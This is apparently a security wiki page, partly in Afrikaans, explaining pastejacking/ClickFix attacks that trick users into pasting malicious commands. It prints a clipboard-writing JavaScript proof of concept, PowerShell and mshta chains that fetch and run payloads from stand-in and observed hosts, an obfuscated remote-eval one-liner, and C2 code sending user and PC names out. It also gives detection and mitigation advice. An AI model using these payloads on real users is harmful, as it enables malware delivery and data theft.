8.1 KiB
Raw Blame History

Clipboard Hijacking (Pastejacking) Attacks

{{#include ../../banners/hacktricks-training.md}}

"Moet nooit iets plak wat jy nie self gekopieer het nie." ou maar steeds geldende advies

Oorsig

Clipboard hijacking also known as pastejacking misbruik die feit dat gebruikers gewoonlik opdragte kopieer-en-plak sonder om dit te inspekteer. 'n Kwaadaardige webblad (of enige JavaScript-ondersteunende konteks soos 'n Electron- of Desktop-toepassing) plaas programmaties deur 'n aanvaller beheerde teks in die stelselklembord. Slagoffers word gewoonlik aangemoedig, meestal deur sorgvuldig saamgestelde social-engineering-instruksies, om Win + R (Run dialog), Win + X (Quick Access / PowerShell) te druk, of 'n terminal te open en die klembordinhoud plak, wat dadelik willekeurige opdragte uitvoer.

Omdat geen lêer afgelaai word en geen aanhangsel oopgemaak word nie, omseil die tegniek die meeste e-pos- en webinhoud-sekuriteitskontroles wat aanhangsels, macros of direkte opdraguitvoering monitor. Die aanval is daarom populêr in phishing-veldtogte wat alledaagse malware-families soos NetSupport RAT, Latrodectus loader of Lumma Stealer lewer.

JavaScript Bewys-van-Konsep

<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
<button id="fix" onclick="copyPayload()">Fix the error</button>
<script>
function copyPayload() {
const payload = `powershell -nop -w hidden -enc <BASE64-PS1>`; // hidden PowerShell one-liner
navigator.clipboard.writeText(payload)
.then(() => alert('Now press  Win+R , paste and hit Enter to fix the problem.'));
}
</script>

Ouer veldtogte het document.execCommand('copy') gebruik, nuwer vertrou op die asynchrone Clipboard API (navigator.clipboard.writeText).

Die ClickFix / ClearFake-proses

  1. Gebruiker besoek 'n typosquatted of compromised site (bv. docusign.sa[.]com)
  2. Ingespuite ClearFake JavaScript roep 'n unsecuredCopyToClipboard() helper aan wat stilweg 'n Base64-encoded PowerShell one-liner in die klembord stoor.
  3. HTML-instruksies vertel die slagoffer om: “Druk Win + R, plak die opdrag en druk Enter om die probleem op te los.”
  4. powershell.exe voer uit en laai 'n argief af wat 'n wettige uitvoerbare lêer plus 'n kwaadwillige DLL bevat (klassieke DLL sideloading).
  5. Die loader decrypts additional stages, injects shellcode and installs persistence (e.g. scheduled task) uiteindelik running NetSupport RAT / Latrodectus / Lumma Stealer.

Voorbeeld NetSupport RAT Chain

powershell -nop -w hidden -enc <Base64>
# ↓ Decodes to:
Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
%TEMP%\f\jp2launcher.exe             # Sideloads msvcp140.dll
  • jp2launcher.exe (wettige Java WebStart) soek sy gids vir msvcp140.dll.
  • Die kwaadwillige DLL los dinamies API's op met GetProcAddress, laai twee binaries (data_3.bin, data_4.bin) af via curl.exe, dekripteer hulle met 'n rollende XOR-sleutel "https://google.com/", injekteer die finale shellcode en pak client32.exe (NetSupport RAT) uit na C:\ProgramData\SecurityCheck_v1\.

Latrodectus Loader

powershell -nop -enc <Base64>  # Cloud Identificator: 2031
  1. Laai la.txt af met curl.exe
  2. Voer die JScript downloader binne cscript.exe uit
  3. Haal 'n MSI payload af → plaas libcef.dll langs 'n gesigneerde toepassing → DLL sideloading → shellcode → Latrodectus.

Lumma Stealer via MSHTA

mshta https://iplogger.co/xxxx =+\\xxx

Die mshta-aanroep lanseer 'n verborge PowerShell-skrip wat PartyContinued.exe aflaai, Boat.pst (CAB) uitpak, AutoIt3.exe herbou deur extrac32 en lêerkonkatenasie, en uiteindelik 'n .a3x-skrip uitvoer wat browser credentials na sumeriavgv.digital exfiltrates.

ClickFix: Clipboard → PowerShell → JS eval → Startup LNK with rotating C2 (PureHVNC)

Sommige ClickFix-campagnes slaan lêeraflaaie heeltemal oor en beveel slagoffers aan om 'n eenreël-opdrag te plak wat JavaScript via WSH aflaai en uitvoer, dit laat voortbestaan, en die C2 daagliks roteer. Voorbeeld van 'n waargenome ketting:

powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prеss Entеr

Belangrike kenmerke

  • Verdoezelde URL omgekeer tydens runtime om oppervlakkige inspeksie te ontduik.
  • JavaScript maak homself persistent via Startup LNK (WScript/CScript), en kies die C2 volgens die huidige dag wat vinnige domeinrotasie moontlik maak.

Minimale JS-fragment wat gebruik word om C2s volgens datum te roteer:

function getURL() {
var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
var current_datetime = new Date().getTime();
var no_days = getDaysDiff(0, current_datetime);
return 'https://'
+ getListElement(C2_domain_list, no_days)
+ '/Y/?t=' + current_datetime
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
}

Die volgende fase ontplooi gewoonlik 'n loader wat persistensie vestig en 'n RAT (e.g., PureHVNC) aflaai, dikwels pinning TLS to a hardcoded certificate and chunking traffic.

Detection ideas specific to this variant

  • Prosesboom: explorer.exepowershell.exe -cwscript.exe <temp>\a.js (or cscript.exe).
  • Opstart-artefakte: LNK in %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup wat WScript/CScript aanroep met 'n JS-pad onder %TEMP%/%APPDATA%.
  • Registry/RunMRU en commandline telemetrie wat .split('').reverse().join('') of eval(a.responseText) bevat.
  • Herhaalde powershell -NoProfile -NonInteractive -Command - met groot stdin payloads om lang skripte te voer sonder lang opdragreëls.
  • Geskeduleerde take wat daarna LOLBins uitvoer soos regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll" onder 'n updateragtige taak/pad (bv. \GoogleSystem\GoogleUpdater).

Threat hunting

  • Daagliks roterende C2-hostname(s) en URL's met die patroon .../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection>.
  • Korreleer clipboard write events gevolg deur Win+R-plak en dan onmiddellike powershell.exe uitvoering.

Blue-teams can combine clipboard, process-creation and registry telemetry to pinpoint pastejacking abuse:

  • Windows Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU hou 'n geskiedenis van Win + R opdragte kyk vir abnormale Base64 / obfuscated inskrywings.
  • Security Event ID 4688 (Process Creation) waar ParentImage == explorer.exe en NewProcessName in { powershell.exe, wscript.exe, mshta.exe, curl.exe, cmd.exe }.
  • Event ID 4663 vir lêerskeppings onder %LocalAppData%\Microsoft\Windows\WinX\ of tydelike vouers net voor die verdagte 4688gebeurtenis.
  • EDR clipboard sensors (indien teenwoordig) korreleer Clipboard Write gevolg onmiddellik deur 'n nuwe PowerShellproses.

Mitigations

  1. Browser hardening disable clipboard write-access (dom.events.asyncClipboard.clipboardItem etc.) of vereis 'n gebruikergebaar.
  2. Security awareness leer gebruikers om type sensitiewe opdragte of eers in 'n teksredigeerder te plak.
  3. PowerShell Constrained Language Mode / Execution Policy + Application Control om willekeurige one-liners te blokkeer.
  4. Network controls blokkeer uitgaande versoeke na bekende pastejacking en malware C2domeine.
  • Discord Invite Hijacking often abuses the same ClickFix approach after luring users into a malicious server:

{{#ref}} discord-invite-hijacking.md {{#endref}}

Verwysings

{{#include ../../banners/hacktricks-training.md}}